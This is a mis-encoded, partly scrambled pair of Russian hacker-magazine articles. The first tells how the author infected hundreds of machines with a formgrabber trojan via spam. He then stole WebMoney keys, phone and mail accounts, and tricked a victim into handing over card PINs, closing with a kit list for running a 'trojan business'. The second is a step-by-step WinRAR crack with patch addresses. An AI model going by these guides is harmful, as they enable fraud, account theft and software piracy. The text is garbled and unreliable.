Íàäî ñêàçàòü, ÷òî ó ìåíÿ èìåþòñÿ íåñêîëüêî èäåíòèôèêàòîðîâ, êîòîðûå
ÿ ðåãóëÿðíî ìåíÿþ ïîñëå êàæäîé ïîäîáíîé òðàíçàêöèè. À ðóáëåâûå ôè-
íàíñû ÿ îñòàâèë çàêîííîìó âëàäåëüöó � ÿ íå æàäíûé, ïóñòü ñ ãîðÿ ïðî-
áóõàåò èõ â ýëèòíîì ðåñòîðàíå :).

[êàðòî÷íûé ìàãíàò Âëàäèìèð] Ýòîò ëîã âûäåëÿëñÿ ñðàçó. Ñïëîøü 
è ðÿäîì âèäíåëèñü ôîðìû îäíîãî ìîñêîâñêîãî ðåñóðñà. Êàê îêàçàëîñü,
ïîñâÿùåííîãî ïðîäàæå PIN-êîäîâ êàðò. Òàêèõ ìàãàçèíîâ ìíîãî: ïîëü-
çîâàòåëü ïëàòèò ÷åðåç Webmoney èëè äðóãîé ñèñòåìû è ïîëó÷àåò âçà-
ìåí PIN-êîä. Ëîã ñ èìåíåì «Âëàäèìèð» ïîêàçàë, ÷òî îáëàäàòåëü êîìïü-
þòåðà ïðèíèìàåò íåïîñðåäñòâåííîå ó÷àñòèå â æèçíè èíòåðíåò-ìàãàçè-
íà. Çàìàñêèðîâàâøèñü, ÿ çàøåë â àäìèíêó ìàãàçèíà è îáíàðóæèë òàì
ðàçëè÷íûå ñöåíàðèè àäìèíèñòðèðîâàíèÿ. Ê ìîåìó ñîæàëåíèþ, ïîæè-

[ðàçáîð ïîëåòîâ] Êàê è îæèäàëîñü, â òå÷åíèå äâóõ-òðåõ äíåé ìîÿ
ïî÷òà áûëà çàâàëåíà âñÿ÷åñêèìè ëîãàìè. Èõ, êîíå÷íî, áûëî íå ïîëìèë-
ëèîíà, íî 200�300 ìàøèí ìíå òî÷íî óäàëîñü çàðàçèòü. Â æóðíàëàõ
ôîðìãðàááåðà íàõîäèëîñü ìíîãî âñÿêîé åðóíäû � ëîãè êàêèõ-òî ÷àòîâ,
àêêàóíòû íà ïîðíîñàéòû è, ðàçóìååòñÿ, ïàðîëè íà ïî÷òîâûå ÿùèêè è
FTP-ñàéòû. Îñîáåííî ìíå çàïîìíèëèñü äâà ÷åëîâåêà, êîòîðûõ ìíå óäà-
ëîñü ðàçäåòü äî íèòêè (íó è óðîä æå òû! � ïðèì. ðåä.). Îá ýòèõ òèïàõ 
ÿ ðàññêàæó òåáå â êðàñî÷íûõ ïîäðîáíîñòÿõ.

[ïðîñòî Àíäðåé] Íà òðåòèé äåíü íà ïî÷òó óïàë ëîã î êîìïüþòåðå 
ñ èìåíåì Andrew. Ñóäÿ ïî âñåìó, åãî õîçÿèí ïðîæèâàë â ñòîëèöå, òàê
êàê ìàøèíà èìåëà ìîñêîâñêèé àéïèøíèê. Ëîã çàíè-
ìàë âñåãî ïàðó êèëîáàéò, íî èíôîðìàöèÿ áûëà äî-
âîëüíî öåííîé � òðîÿíåö óñïåøíî óòàùèë kwm-
êëþ÷, òðè ïàðîëÿ íà WWW-ðåñóðñû, à òàêæå WM-
èäåíòèôèêàòîð êëèåíòà. ß áûë ïîëíîñòüþ ãîòîâ 
ê îïåðàöèè «ïîõèùåíèå WMZ».
Ïåðâûì äåëîì ìíå ïðèøëîñü ïðèâåñòè â èñõîäíûé
âèä kwm-êëþ÷èê. Îí çàñûëàëñÿ â BASE64-êîäèðîâêå,
êîòîðóþ íóæíî áûëî ïåðåâåñòè â áèíàðíûé âèä. Äëÿ
ýòîãî ÿ âîñïîëüçîâàëñÿ online-äåêîäåðîì, êîòîðûé
äîñòóïåí íà ñòðàíèöå www.motobit.com/util/ base64-
decoder-encoder.asp. Ââåäÿ â ôîðìó çàøèôðîâàííûé
òåêñò, ÿ âûáðàë òèï Encode è íàçâàë ôàéë 1.kwm. Ïî
çàâåðøåíèþ îïåðàöèè, íà ìîåì HDD íàõîäèëñÿ ðà-
áî÷èé êëþ÷èê WebMoney. Äàëåå ÿ çàïóñòèë VPN-ñîå-
äèíåíèå è WM-keeper. Â ïîñëåäíåì ââåë WMID, ïîëó-
÷åííûé òðîÿíöåì, è ïàðîëü. ×òî êàñàåòñÿ ïàññâîðäà, òî ÿ áûë óâåðåí â åãî
ïðàâèëüíîñòè, òàê êàê âñå îòñíèôàííûå ïàðîëè áûëè îäèíàêîâûìè (key-
board � ïðàâäà, õîðîøèé ïàðîëü? :)). Ïåðåâàðèâ ïåðâè÷íûå äàííûå, êè-
ïåð ïîïðîñèë óêàçàòü ôàéë êëþ÷åé. «Âñåãäà ïîæàëóéñòà!», � ñêàçàë ÿ, è
ñêîðìèë ïðîãðàììå ñâåæåíüêèé 1.kwm. ×åðåç ïîëìèíóòû WM-êèïåð ñîîá-
ùèë, ÷òî âõîä óäàëñÿ, íî, ê íåñ÷àñòüþ, çàòðåáîâàë àêòèâàöèþ. ß ïîêà îò-
ëîæèë ýòîò ýòàï, ðåøèâ ïîñìîòðåòü, ñòîèò ëè èãðà ñâå÷. Îêàçàëîñü, ÷òî
ñòîèò, � íà Z-êîøåëüêå íàõîäèëîñü $1520. Êðîìå òîãî, íà ðóáëåâîì ñ÷åòå
áûëî äîñòàòî÷íî ñðåäñòâ, ÷òîáû ñõîäèòü â ýëèòíûé ðåñòîðàí :). Â îáùåì,
ñëþíêè ó ìåíÿ ïîòåêëè ñðàçó ïîñëå òîãî, êàê ÿ âèçóàëüíî îöåíèë áàëàíñ.
Íî, ê ñîæàëåíèþ, ýòî âñå áûëî read-only. ×òîáû ïåðåâåñòè áàáëîñ,
íóæíî áûëî ââåñòè êîä àêòèâàöèè. À äëÿ ýòîãî íàäî áûëî èìåòü äîñ-
òóï ê ïî÷òå. Áëàãîäàðÿ òðîÿíöó ÿ ïîëó÷èë ëîãèí è ïàðîëü ê ÿùèêó íà [X
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Âñåãî ÷åðåç íåäåëþ ïîñ-
ëå ìîåé ðàññûëêè íà
postcard.ru âûâåñèëè
îáúÿâëåíèå î âîçìîæ-
íûõ âèðóñíûõ àòàêàõ ïî
E-mail. Óâèäåòü åãî ìîæ-
íî íà ãëàâíîé ñòðàíèöå.

Íà êîìïàêòå òû íàéäåøü
ñîôòèíêó DarkMailer äëÿ
ìàññîâûõ ðàññûëîê 
ïî e-mail.

t t
a
c
k

a
}



[X
À

Ê
Å

Ð
1

0
 [

8
2

] 
0

5
 >

Â
Ç

Ë
Î

Ì
0

6
0

]

âèòüñÿ òàì áûëî ïðîñòî íå÷åì. Áàçû PIN-êîäîâ áûëè íåäîñòóïíû, ìîæ-
íî áûëî ðàçâå ÷òî ñäåëàòü äåôåéñ, äîáàâèòü íîâóþ êàðòî÷êó èëè èçìå-
íèòü êóðñ äîëëàðà. Ýòîò ðàñêëàä ìåíÿ íèñêîëüêî íå óñòðàèâàë, ïîýòî-
ìó ÿ ñòàë äåòàëüíî àíàëèçèðîâàòü ëîãè. È ìíå âñòðåòèëñÿ åùå îäèí çà-
ìå÷àòåëüíûé ðåñóðñ ïîä íàçâàíèåì www.mts.ru. Êàê îêàçàëîñü, Âîâ÷èê
àêòèâíî ïîëüçîâàëñÿ ñåðâèñîì ISSA (Èíòåðíåò Ñèñòåìà Ñåðâèñ Àáî-
íåíòà), êîòîðàÿ ïîçâîëÿëà óäàëåííî óïðàâëÿòü ëèöåâûì ñ÷åòîì ïîëü-
çîâàòåëÿ. Íåçàìåäëèòåëüíî íàïðàâèâ òóäà ñâîé áðàóçåð, ÿ óñïåøíî çà-
ëîãèíèëñÿ â ñèñòåìå. Íà ñ÷åòó ó Âëàäèìèðà áûëî 4 òûñÿ÷è ðóáëåé, ÷òî
åùå ðàç äîêàçûâàëî ïðèíàäëåæíîñòü ê èíòåðíåò-ìàãàçèíó. Ïåðâîå, ÷òî
ìíå çàõîòåëîñü ñäåëàòü � îòïðàâèòü äåòàëèçàöèþ çâîíêîâ íà ïî÷òî-
âûé ÿùèê ñ öåëüþ åå èçó÷åíèÿ. Ó÷èòûâàÿ òîðìîçíóòîñòü ÌÒÑ, äåòàëü-
êà äîøëà äî ìåíÿ òîëüêî ÷åðåç ïîë÷àñà. Âîâ÷èê çâîíèë íà 3�4 íîìå-
ðà, îäèí èç êîòîðûõ áûë ñàìûì ðàñïðîñòðàíåííûì. Êàê îêàçàëîñü,
ýòîò ìîáèëüíûé ïðèíàäëåæàë õîçÿèíó ìàãàçèíà Alex'ó, åãî äàííûå,
âêëþ÷àÿ ýòîò òåëåôîí, áûëè âûëîæåíû â ðàçäåëå «Êîíòàêòû». Â ìîåé
ãîëîâå ìåäëåííî ñîçðåâàë ïëàí çàõâàòà, êîòîðûé ìîã ïîçâîëèòü ðàç-
æèòüñÿ íåñêîëüêèìè òåëåôîííûìè êàðòî÷êàìè.
Áëàãîäàðÿ ëîãàì ó ìåíÿ èìåëñÿ àêöåññ íà ïî÷òîâûé ÿùèê ïîëüçîâàòå-
ëÿ. Ïðîáèâ ïîèñêîì ïî àñüêå, ÿ íàøåë UIN õîçÿèíà. Çàòåì áûñòðåíüêî
ðåòðèâíóë ïàðîëü íà ïî÷òîâûé ÿùèê è îïåðàòèâíî ïîëó÷èë åãî. Ïðîâå-
ðèâ ñòàòóñ óèíà òóëçîé USCA ñ asechka.ru (http://usca.asechka.ru/down-
load/usca2004.zip), ÿ óáåäèëñÿ, ÷òî Âîâ÷èê íå ñèäèò â èíâèçèáëå, à
äåéñòâèòåëüíî îòêëþ÷åí. Òîëüêî ïîñëå ýòîãî ÿ çàêîííåêòèëñÿ â àñüêó.
Êîíòàêò æåðòâû íàñ÷èòûâàë ïîðÿäêà 60�70 óèíîâ, äîáðàÿ ïîëîâèíà êî-
òîðûõ áûëè â îíëàéíå. Íå óñïåë ÿ îïîìíèòüñÿ, êàê â àñþ ïîñòó÷àëñÿ õî-
çÿèí èíòåðíåò-ìàãàçèíà ñ ôðàçîé: «ß äîáàâèë íîâóþ áàçó êàðò, áóäü
âíèìàòåëåí :)». Ïîñëå ýòîãî ìíå çàõîòåëîñü ãðàìîòíî ðàçâåñòè Àëåêñåÿ
íà íåñêîëüêî ïèí-êîäîâ. Âîò, ÷òî èç ýòîãî ïîëó÷èëîñü:

Vova: Ñëóøàé, äàé 3 êàðòû ÌÒÑ íîìèíàëîì 20 â äîëã. Íàäî ñðî÷íî
ïîïîëíèòü áàëàíñ, à óæå íå êóïèòü :(.
Alex: Ok. Âîçüìè èç áàçû íà ñåðâåðå.
Vova: Äîñòóïà íåò, ÿ íå èç äîìà...
Alex: ×òî-òî ñòðàííî âñå êàê-òî, ïîçâîíè ìíå.

Îïà! Æåðòâà ïî÷óÿëà íåëàäíîå è óñîìíèëàñü â ìîåé ëè÷íîñòè. Ëàäíî,
äåéñòâóåì ïî ïëàíó «Áý». ß çàøåë â ISSA è âîñïîëüçîâàëñÿ óñëóãîé îòïðàâ-
êè SMS. Òåêñò áûë ñëåäóþùèì:

«Àëåêñåé, ýòî Âëàäèìèð. Ïîçâîíèòü íå ìîãó, òóò î÷åíü øóìíî. Ïëèç,
äàé êàðòû».

È ñðàçó ïîñëå ýòîãî îôîðìèë äîáðîâîëüíóþ áëîêèðîâêó òåëåôîíà 
íà ìåñÿö, ÷òîáû Àëåêñ íåíàðîêîì íå ïåðåçâîíèë ðåàëüíîìó âëàäåëüöó
íîìåðà. Ñðàçó ïîñëå ýòèõ äåéñòâèé ÿ ïðîäîëæèë ðàçâîä.

Vova: Áëèí, çàâòðà ïîçâîíþ, âñå îáúÿñíþ. Ïîïàë â òðóäíóþ ñèòóàöèþ.
Alex: Äà íå ïðîáëåìà, âîò 3 êàðòû.

Äàëåå øëè äîëãîæäàííûå PIN-êîäû. Áûñòðåíüêî ïîïîëíèâ áàëàíñ íà
ñâîåé àíîíèìíîé ñèìêå, ÿ âûøåë èç àñüêè è ïî÷èñòèë ïî÷òîâûé ÿùèê
æåðòâû. Íàñòðîåíèå óëó÷øèëîñü íà ïîðÿäîê, âåäü ÿ ïîëó÷èë âñå, ÷òî õîòåë
îò ýòîãî èíòåðåñíîãî ëîãà.

[Happy End] Âîò òàêèå èíòåðåñíûå ëþäè æèâóò â íàøåì ìèðå. È ýòè äâà
ïåðñîíàæà � íå åäèíñòâåííûå, êîãî ìíå óäàëîñü ðàçâåñòè íà äåíåæêó. 
È âñå áëàãîäàðÿ ìíîãîôóíêöèîíàëüíîìó ãðàááåðó, çà êîòîðûé ÿ êîãäà-òî îò-
äàë 700WMZ. Íàéòè ïîäîáíûé òû âñåãäà ìîæåøü íà ðàçëè÷íûõ õàêåðñêèõ

ôîðóìàõ, íàïðèìåð, íà
www.xakepy.net. Çàðà-
íåå ãîâîðþ, ÷òî âñå
èìåíà â ýòîé ïîó÷è-
òåëüíîé èñòîðèè � âû-
ìûñåë, ëþáîå ñîâïà-
äåíèå � ñëó÷àéíîñòü. 
È âîîáùå, ïîâòîðÿòü
ìîè òðþêè îïàñíî äëÿ
æèçíè :)

íàñòðàèâàåì DarkMailer

äåêîäèðóåì êëþ÷ KWM ïîñëåäñòâèå ïî÷òîâûõ ðàññûëîê

îïèñàíèå çëîãî áàãà
ÍÀÁÎÐ ÒÒÐÎßÍÙÈÊÀ
Äëÿ òîãî ÷òîáû óñïåøíî çàíèìàòüñÿ «òðîÿíñêèì» áèçíåñîì,
òåáå ìîãóò áûòü ïîëåçíû ñëåäóþùèå âåùè:
1Ýêñïëîéò äëÿ áðàóçåðà. Îáû÷íî òàêèå âåùè ïðèâàòíûå 
è ïîêóïàþòñÿ íà ðàçëè÷íûõ ôîðóìàõ çà 200�300 WMZ. Áóäü
âíèìàòåëåí è ïîêóïàé òîëüêî ó äîâåðåííûõ ëèö, èíà÷å òåáÿ
ìîãóò æåñòêî êèíóòü. Âïðî÷åì, â êà÷åñòâå àëüòåðíàòèâû ìîæíî
ïîëîñêàòü ìîçãè ïî ICQ ñ ïðîñüáîé ñêà÷àòü ôîòêó îáíàæåííîé
êðàñîòêè. Íî íà ýòîò ïðèåì óæå ìàëî êòî âåäåòñÿ.
2Ôîðìãðàááåð èëè, ñîáñòâåííî, òðîÿí, êîòîðûé âûñûëàåò âñå
ïîëåçíûå ñâåäåíèÿ íà õàêåðñêèé ïî÷òîâûé àäðåñ. Ïîêóïàåòñÿ
íà òåõ æå ôîðóìàõ, ëèáî ïèøåòñÿ ñàìîñòîÿòåëüíî. Íî ó÷òè, ÷òî
ñèãíàòóðà ó ïîäîáíîé øòóêîâèíû äîëæíà áûòü óíèêàëüíàÿ è
ïîñòîÿííî ìåíÿòüñÿ, ÷òîáû àíòèâèðóñû íå îïîçíàâàëè çàðàçó.
3Ñðåäñòâî ðàññûëêè ïî e-mail èëè ICQ. Ïðî ICQ-ñïàì óæå 
ïèñàëè, ïîýòîìó ñîôò ó òåáÿ íàâåðíÿêà èìååòñÿ. ×òî êàñàåòñÿ
e-mail ñïàìà, òî ìîãó îò ÷èñòîãî ñåðäöà ïîäàðèòü òåáå ýëèòíóþ
ïðîãðàììó DarkMailer. Ýòîò ýêñêëþçèâ òû íàéäåøü íà DVD-
äèñêå Õàêåðà :).
4 VPN è áåçîïàñíûå ïðîêñèêè. Ãäå èõ íàéòè, òû óæå çíàåøü :).
À åñëè íå çíàåøü � ïåðåðûâàé ïðîøëûå âûïóñêè Õ.
5Ìîçãè è ïðÿìûå ðóêè. Ýòî òåáå ïîíàäîáèòñÿ ïðè äàëüíåé-
øåì ðàçâîäå ëþäåé èëè àíàëèçå ëîãôàéëîâ òðîÿíöà.

×ÒÎ ÏÏÎÌÎÃËÎ ÌÌÍÅ ÏÏÐÈ ÂÂÇËÎÌÅ?

1 ß ïîäñìîòðåë è çàþçàë ÷óæîé íåñòàíäàðòíûé ñïîñîá ïî÷òî-
âîé ðàññûëêè, â ðåçóëüòàòå êîòîðûé íà ëåâûå îòêðûòêè ïîâå-
ëèñü íåñêîëüêî ñîòåí ÷åëîâåê.
2 Âîçìîæíîñòè ôîðìãðàááåðà ïîçâîëèëè ìíå çàâëàäåòü ÷ó-
æèì WMID�îì. Âñå ïîòîìó, ÷òî îí óìåë âûäèðàòü KWM-êëþ÷è-
êè, à òàêæå ïèîíåðèòü ïàðîëè îò e-mail-ÿùèêîâ.
3 Óìåíèå êðàñèâî îáùàòüñÿ ñ íåçíàêîìöàìè, à òàêæå àêöåññ
â ñèñòåìó ISSA ïîìîãëè ìíå ïîæèâèòüñÿ êàðòî÷êàìè MTS.
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ÂÑÅ ÌÛ ÇÍÀÅÌ Î ÂÅËÈÊÎÌ ÒÂÎÐÅÍÈÈ ÅÂÃÅÍÈß ÐÎ-
ØÀËß, ÊÎÒÎÐÎÅ ÌÎÆÅÒ ÇÀÏÀÊÎÂÀÒÜ È ÐÀÑÏÀÊÎ-
ÂÀÒÜ ÂÑÅ È ÂÑß. ÍÎ ÂÎÒ ÍÅÇÀÄÀ×À � ÇÀ ÒÎ, ×ÒÎÁÛ
ÀÐÕÈÂÀÒÎÐ ÐÀÁÎÒÀË ÊÀÊ ÑËÅÄÓÅÒ È ÍÅ ÍÀÄÎÅÄÀË
ÃÍÓÑÍÛÌÈ ÎÊÎØÊÀÌÈ Ñ ÏÐÎÑÜÁÀÌÈ ÇÀÏËÀÒÈÒÜ
ÄÅÍÅÃ, ÍÅÎÁÕÎÄÈÌÎ ÝÒÈÕ ÑÀÌÛÕ ÄÅÍÅÃ ÎÒÂÀ-
ËÈÒÜ. ÍÅ ÇÍÀÞ ÊÀÊ ÒÅÁÅ, ÍÎ ÌÍÅ ÌÎÅÉ ÑÒÈÏÅÍ-
ÄÈÈ ÄËß ÝÒÎÃÎ ßÂÍÎ ÍÅ ÄÎÑÒÀÒÎ×ÍÎ, È ÏÎÝÒÎÌÓ
ß ÐÅØÈË ÑÕÀËßÂÈÒÜ, À ÇÀÎÄÍÎ È ÏÎÒÐÅÍÈÐÎÂÀÒÜ
ÑÂÎÈ ÌÎÇÃÈ. ÎÊÀÇÀËÎÑÜ, ×ÒÎ ÊÐÝÊÍÓÒÜ WINRAR
� ÏÐÎÙÅ ÏÐÎÑÒÎÃÎ! ÑÅÉ×ÀÑ ÐÀÑÑÊÀÆÓ, ÊÀÊ ß
ÝÒÎ ÑÄÅËÀË | Ìàêñèì Ôåäîòîâ aka bl1n (bl1n@mail.ru)
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[çà÷åì ïëàòèòü?] Â ñàìîì äåëå, òàê ëè óæ íóæíî ðåãèñòðèðîâàòü WinRar,
÷åì æå îí òàê íàäîåäàåò? Íà ñàìîì äåëå, ïðîãðàììà äîâîëüíî ëèáåðàëüíî
ðàáîòàåò: äàæå íà èñòåêøåì òðèàëå îíà íå ëèøàåòñÿ ôóíêöèîíàëüíîñòè.
Îäíàêî êàæäûé ðàç â òå÷åíèå 30 äíåé ïðè çàïóñêå âèíðàðà ïîÿâëÿåòñÿ íàä-
ïèñü î òîì, ÷òî òû íå óäîñóæèëñÿ çàïëàòèòü äåíåæêó. Îò ýòîãî, îäíàêî, ðàç-
âèâàåòñÿ íåäþæèííûé êîìïëåêñ íåïîëíîöåííîñòè, êîòîðûé áüåò ïî ìîåé
øàòêîé ïñèõèêå êàê ìîëîò ïî íàêîâàëüíå, âåäü åñëè ÿ íå çàïëà÷ó äåíåã,
ïîñëå 40 äíåé èñïîëüçîâàíèÿ ïðîãðàììû, ñîôòèíà íà÷íåò äîñòàâàòü ìåíÿ
íàãàìè � îêîøêàìè ñ ìîëüáàìè î ðåãèñòðàöèè!  Â îáùåì, îòâðàòèòåëüíî
ñåáÿ âåäåò ýòà ïðîãðàììà. Ïîýòîìó ÿ è ðàññêàæó ãðóñòíóþ èñòîðèþ åå
âçëîìà. Êîíå÷íî, â ÷èñòî îáðàçîâàòåëüíûõ öåëÿõ. 

[÷òî íàì ïîíàäîáèòñÿ] Äëÿ ïëîäîòâîðíîé âîñïèòàòåëüíîé ðàáîòû íàì
ïîòðåáóåòñÿ äèçàññåìáëåð w32dasm, ïàò÷åð Codefusion, îòëàä÷èê ollydbg,
øåñòíàäöàòåðè÷íûé ðåäàêòîð, âðîäå heiw, è êàêîé-íèáóäü ïðèñòîéíûé ðå-
äàêòîð ðåñóðñîâ (ñêàæåì, reshacker èëè peid). Ñåé÷àñ ÿ ðàññêàæó, êàêèì îá-
ðàçîì ìíå óäàëîñü ïîëîìàòü WinRar, è îïèøó ëîãèêó ñâîèõ ðàññóæäåíèé.

[let's go] Ïåðâûì äåëîì ÿ çàïóñòèë peid è îòêðûë exe'øíèê winrar. Îêà-
çàëîñü, ÷òî ïðîãðàììà íè÷åì íå çàïàêîâàíà è âäîáàâîê íàïèñàíà íà 
Ñ � èäåàëüíûé âàðèàíò äëÿ ìåíÿ. Ñâîè îïûòû ÿ ðåøèë íà÷àòü ñ òîãî,
÷òîáû èçáàâèòüñÿ îò íàãîâ è óáèðàòü íàäïèñü «Íåçàðåãèñòðèðîâàííàÿ
âåðñèÿ». Äëÿ ýòîãî ÿ çàïóñòèë Olly è îòêðûë â íåì WinRar. Çàòåì ÿ óñòà-
íîâèë áðýê (breakpoint) íà ôóíêöèþ, âûçûâàþùóþ íàã:

Ê
Ð

Å
À

Ò
È

Ô
Ô

Ê
Î

Ä
È

Í
Ã

U
N

IX
O

ID
Ñ

Ö
Å

Í
À

[Â
Ç

Ë
Î

Ì
]

È
Ì

Ï
Ë

À
Í

Ò
P

C
_

Z
O

N
E

Í
Ü

Þ
Ñ

Û
F

E
R

R
U

M

Âçëîì ïîïóëÿðíîãî àðõèâàòîðà � 
ýòî î÷åíü ëåãêî!

Ïëàñòûðü ääëÿ WWinRAR

DIALOGBOXPARAM �� ÂÂÛÄÅÐÆÊÀ ÈÈÇ ÑÑÏÐÀÂÎ×ÍÈÊÀ

function DialogBoxParam(Instance, THandle; TemplateName: PChar; Parent:
HWnd; DialogFunc: TFarProc; InitParam: Longint): Integer.

Ñîçäàåò áëîê ìîäàëüíîãî äèàëîãà, îïpåäåëåííîãî
TemplateName, è ïåpåä òåì, êàê îòîápàæàòü äèàëîã, ïîñûëà-
åò ñîîáùåíèå wm_InitDialog. Òàêæå ïîçâîëÿåò ïåpåäàâàòü
íà÷àëüíûé ïàpàìåòp ôóíêöèè îápàòíîãî âûçîâà.
Åñòü ñëåäóþùèå àðãóìåíòû:

Instance. Ýêçåìïëÿp ìîäóëÿ, èñïîëíèìûé ôàéë êîòîpîãî
ñîäåpæèò øàáëîí áëîêà äèàëîãà.

TemplateName. Èìÿ øàáëîíà áëîêà äèàëîãà (çàêàí÷èâàþùå-
åñÿ ïóñòûì ñèìâîëîì).

Parent. Îêíî âëàäåëüöà.
DialogFunc. Àäpåñ ýêçåìïëÿpà ïpîöåäópû ôóíêöèè äèàëîãà.
InitParam. Ïåpåäàåòñÿ â ïàpàìåòpå lParam ñîîáùåíèÿ

wm_InitDialog.

Ôóíêöèÿ âîçâðàùàåò ïàpàìåòp nResult ïðîöåäóðû
EndDialog è -1 â ñëó÷àå, åñëè äèàëîã íå ìîæåò áûòü 
ñîçäàí. Ôóíêöèÿ íàõîäèòñÿ â ôàéëå user32.dll

http://cracklab.ru/download/get.php?g=72 � ollydbg
http://cracklab.ru/download/get.php?g=5 � hiew
http://cracklab.ru/download/get.php?g=23 � restorator
http://www.cheatsmaximal.net/download/tools/patch/codefs30.zip � codefusion

Òâîé ëþáèìûé æóðíàë íå óñòàåò íàïîìèíàòü ñâîèì ëþáèìûì ÷èòà-
òåëÿì, ÷òî çà ñâîè ëþáèìûå äåëà ìîæíî ïîïàñòü â íåëþáèìûå íàìè
ìåñòà. Îñòîðîæíåå òàì ñ ìåñòíûìè îáèòàòåëÿìè :(. À ëó÷øå âñåãî �
íå äåëàé åðóíäû è íå íàðóøàé çàêîíîâ ñâîåé ñòðàíû.

íàãè â äåéñòâèè

pid ìîæåò ðàññêàçàòü òåáå ìíîãî ïîëåçíîãî î ïðîãå



Ñðàâíåíèå îñóùåñòâëÿåòñÿ îïåðàòîðîì cmp, ïîýòîìó æìåì â äèçàñìå
search=>find text è íàáèðàåì òàì getlocaltime, òàê êàê èìåííî ýòà ôóíê-
öèÿ îòâå÷àåò çà íàõîæäåíèå âðåìåíè íà êîìïå, ñëåäîâàòåëüíî, ïîñëå
íåå èäåò ðàñ÷åò îñòàâøèõñÿ äíåé. Ïîýòîìó ïîñëå òîãî, êàê ìû îòûñêàëè
âûçîâ ýòîé ôóíêöèè, ñëåäóåò ïðîñìîòðåòü êîä â ïîèñêàõ ÷èñëà
00000028. È â ñàìîì äåëå, íåñëîæíî çàìåòèòü ñëåäóþùèé êîä:

00440F46 . 83F8 28 CMP EAX,28
00440F49 . 7F 04 JG SHORT WinRAR.00440F4F
00440F4B . 85C0 TEST EAX,EAX
00440F4D . 7D 24 JGE SHORT WinRAR.00440F73

Çäåñü ÷èñëî èç ðåãèñòðà eax ñðàâíèâàåòñÿ ñ 28h (ýòî òå ñàìûå 40 äíåé).
Åñëè ñîäåðæèìîå EAX áîëüøå èëè ðàâíî 28, ïðîèñõîäèò ñêà÷åê íà
00440F4F, åñëè æå íåò, òî îñóùåñòâëÿåòñÿ ñðàâíåíèå ñ 0 è ïðûæîê ïî
jge, ïðîëåòàÿ ìèìî ïðîöåäóðû, âûçûâàþùåé íàã.
Äëÿ òîãî ÷òîáû WinRar ïåðåïðûãíóë ýòó ïðîöåäóðó, íàäî ÷òîáû eax áûë
ìåíüøå 28h, ïîýòîìó ÿ ïðîñòî îáíóëèë åãî ñòðîêîé xor eax,eax è çàíî-
ïèë ïîñëåäóþùèå 3 áàéòà â hiew, íàæàâ edit=>asm.
Âñå. Íàãîâ íåò, à êàê áûòü ñî ñòðîêîé â íàçâàíèè îêíà? Ìîæíî, êî-
íå÷íî, îïÿòü èñïðàâèòü åå ðåäàêòîðîì ðåñóðñîâ, íî ìû äëÿ ðàçíîîá-
ðàçèÿ ïîñòóïèì ïî-äðóãîìó. Íàáåðåì ÷àñòü ýòîé ñòðîêè â ïîèñêå äè-
çàñìà è èñïðàâèì åå ðóêàìè. Ïðàâäà, âñå ðóññêèå áóêâû âèíðàðà
âûãëÿäÿò, êàê êðÿêîçÿáðû, íî çàòî ìû çíàåì, ÷òî â íàçâàíèè åñòü
ñëîâî èç ëàòèíñêèõ áóêâ: WinRAR. Åñëè ïîèñêàòü åãî, ìîæíî íàéòè
ñëåäóþùèé êîä:

0044B353 |. 68 ED6B4900 PUSH WinRAR.00496BED 
0044B358 |. 8D4424 08 LEA EAX,DWORD PTR SS:[ESP+8] ; |
0044B35C |. 50 PUSH EAX ; |Arg1
0044B35D |. E8 02E00300 CALL WinRAR.00489364 
0044B362 |. 83C4 0C ADD ESP,0C
0044B365 |. 803D BCF94900 > CMP BYTE PTR DS:[49F9BC],0
0044B36C |. 75 7A JNZ SHORT WinRAR.0044B3E8
0044B36E |. A1 C8434B00 MOV EAX,DWORD PTR DS:[4B43C8]
0044B373 |. 83F8 14 CMP EAX,14 ;ñðàâíåíèå ñ 14h(20dec)
0044B376 |. 7C 05 JL SHORT WinRAR.0044B37D
0044B378 |. 83F8 28 CMP EAX,28 ;ñðàâíåíèå ñ 28H(40dec)
0044B37B |. 7C 1D JL SHORT WinRAR.0044B39A

Òåïåðü åñëè õîðîøåíüêî âñïîìíèòü ðàáîòó WinRar, òî îêàæåòñÿ, ÷òî ïîñ-
ëå 20 äíåé þçàíüÿ â çàãîëîâîê âñòàâëÿåòñÿ óæå äðóãîé òåêñò. Èòàê, ñìîò-
ðèì íà êîä. Â ïåðâîì ñëó÷àå eax ñðàâíèâàåòñÿ ñ 20, âî âòîðîì � 
ñ 40, îòñûëàÿ òåáÿ íà îïðåäåëåííûå àäðåñà, ãäå ôóíêöèÿ âîñïðîèçâîäèò
ðàçíûå çàãîëîâêè. Òàê ÷òî ìû ïîñòóïèì òàê æå, êàê è â ïðåäûäóùåì ñëó-
÷àå: îáíóëèì eax è çàíîïèì ïîñëåäóþùèå áàéòû. Òåïåðü â çàãîëîâêå íå
áóäåò íèêàêèõ íàäîåäàþùèõ íàäïèñåé, è òû ñìîæåøü ïî÷óâñòâîâàòü ñåáÿ
íàñòîÿùèì êðýêåðîì.

[çàêëþ÷åíèå] Íó âîò, ñîáñòâåííî, è âñå. Ñåãîäíÿ âû óçíàëè, êàê
äâóìÿ ðàçíûìè ñïîñîáàìè ñëîìàòü íåçàìåíèìóþ äëÿ âèíäîâîãî
þçåðà ñîôòèíó. Õýâ ý íàéñ äýé, ïðèÿòåëü, íå ïîïàäàéñÿ

Bpx DialogBoxParamA

Çäåñü DialogBoxParamA � ýòî èìÿ ôóíêöèè, ïîêàçûâàþùåé îêîøêî 
ñ ïðîñüáîé î ðåãèñòðàöèè. Òåïåðü íóæíî çàïóñòèòü ïðîãðàììó è îæèäàòü,
÷òî åå âûïîëíåíèå ïðåðâåòñÿ êàê ðàç ïðè âûçîâå êîíòðîëèðóåìîé ôóíêöèè.
Äàâèì íà enter, æìåì f9 è âñå ïîëó÷àåòñÿ â òî÷íîñòè òàê, êàê ìû ïëàíèðîâà-
ëè, íà àäðåñå 00440f6e ìû ââàëèâàåìñÿ â Olly è âèäèì òàì òàêîé êîä:

[êîä, âûçûâàþùèé ïðîöåäóðó ïîêàçà íàãà]

00440F56 .6A 00 PUSH 0; /lParam = NULL
00440F58 .68 F44F4400 PUSH WinRAR.00444FF4
00440F5D .FF35 1C164B00 PUSH DWORD PTR DS:[4B161C] 
00440F63 .68 E15F4900 PUSH WinRAR.00495FE1
00440F68 .FF35 E0F94900 PUSH DWORD PTR DS:[49F9E0] 
00440F6E .E8 67F30400 CALL <JMP.&USER32.DialogBoxParamA> 

ß íàæàë F8, ÷òîáû ïåðåéòè íà ñòðî÷êó äàëüøå, è óâèäåë, ÷òî ïîÿâèëñÿ
